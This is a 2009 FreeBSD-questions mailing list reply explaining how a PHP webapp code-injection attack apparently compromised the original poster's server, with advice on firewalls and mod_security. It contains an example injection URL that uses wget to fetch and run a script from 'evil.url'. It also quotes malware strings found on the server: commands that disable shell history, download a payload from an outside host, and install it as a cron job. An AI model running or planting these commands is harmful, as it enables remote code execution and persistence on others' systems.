Date: Thu, 27 Aug 2009 16:35:08 +0100 From: Jeremy Hooks <jeremyhooks@googlemail.com> To: Colin Brace <cb@lim.nl> Cc: freebsd-questions@freebsd.org Subject: Re: what www perl script is running? Message-ID: <bf2fbe6d0908270835k7afc7bfr7531a1bcede5050c@mail.gmail.com> In-Reply-To: <25167487.post@talk.nabble.com> References: <4A924601.3000507@lim.nl> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> <4A943A9B.1030703@cyberleo.net> <25143778.post@talk.nabble.com> <25149271.post@talk.nabble.com> <25149559.post@talk.nabble.com> <25167487.post@talk.nabble.com>
next in thread | previous in thread | raw e-mail | index | archive | help
Hi Colin. I thought I'd just add my tuppence here. Some time ago I suffered a similar exploit, albeit on a Linux box, with Apache and a different PHP web app (Horde if I recall correctly). There are a number of ways your server could have been comprised via a PHP webapp, and a mailling list probably isn't the best place to give you a tutorial on the likes of cross-site scripting and code injection. What I can do is tell you roughly how my site was infected via a code injection - to give you an idea of how important it is to learn more about it if you are running a webserver (espescially one with third party web apps installed). In my case, I was able to learn quite a bit about how the exploit was performed by looking in my Apache logs. Primarily because the attack exploited an HTTP GET variable, so I could actually grep the name of the script that was download from the logs. Basically all it took was for someone to construct a URL similar to the following*: http://www.myserver.com/vulnerable_script.php?unchecked_variable=3D"some_= value; exec('wget http://evil.url/virus.pl -O /tmp/virus.pl'); exec('/tmp/virus.pl')"; All it needs then is a bit of code on the server side which uses the GET variable verbatum to build a line of code without checking the variable. If the above variable were used in the construction of a line of PHP, in an (extra) unsafe manner, you would end up with several lines of PHP. Clearly building code from a user supplied variable is a very bad idea, and doing so without checking the variable... - however it isn't unheard of in the world of third party web apps (it isn't unheard of in in-house web apps either, however because that are not so widespread there is less chance that the exploit will be found, and probably less to gain from exploiting it). The attack against your server was almost certainly automated and most likely not even targetted at you. If you check your error logs, you will probably see lots of 'file not found' and similar errors, testing for vulnerabilities in ASP scripts and PHP web apps which you don't have installed - in much the same way that you will have SSH login failures for users who don't exist on your system. Using an incoming and outgoing firewall is clearly a must on a dedicated web server. Running an outgoing server on your desktop is a bit more complicated as you would probably want to allow certain applications to setup outgoing connections. I don't know how you do this on a FreeBSD system. However something that no one seems to have mentioned yet is running an application level firewall to protect your web server, this is particularly important if you are running popular third party web applications. Once a flaw has been found in a popular web app, it is very easily for the malware writers to attempt to exploit this on thousands of webservers. A web application firewall, such as Mod_Security for Apache (not sure what is available for lighttpd), will check the traffic to your HTTP server for any irregularities, known exploits and potential exploits. HTH Jeremy * the URL I wrote probably isn't even valid, it is just a demonstration, so just treat it as psuedocode. 2009/8/27 Colin Brace <cb@lim.nl>: > > > Colin Brace wrote: >> >> ahhhhh, another directory found in /tmp with files written by www called >> .bash/ Contents here: >> >> http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz >> > Apropos of the contents of the above, a correspondent writes: > > [...] > running 'strings' on /tmp/owned will show > "HISTFILE=3D/dev/null > cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null > cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null > echo '*/1 * * * * perl /tmp/tmpfile' >cron.job > crontab cron.job > rm -rf cron.job > chmod 0100 /tmp/tmpfile 2>&1 >/dev/null > perl /tmp/tmpfile 2>&1 >/dev/null" > [...] > > So this would be the original mischief-maker. > > Just out of curiousity, can someone explain to me in basic terms how an > intruder exploits a vulnerability such as apparently existed on my system > (the RoundCube webmail package was apparently the culprit) to place the > binary file "owned" in /tmp and execute it? > > Thanks > > ----- > =A0Colin Brace > =A0Amsterdam > =A0http://lim.nl > -- > View this message in context: http://www.nabble.com/what-www-perl-script-= is-running--tp25112050p25167487.html > Sent from the freebsd-questions mailing list archive at Nabble.com. > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" >
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?bf2fbe6d0908270835k7afc7bfr7531a1bcede5050c>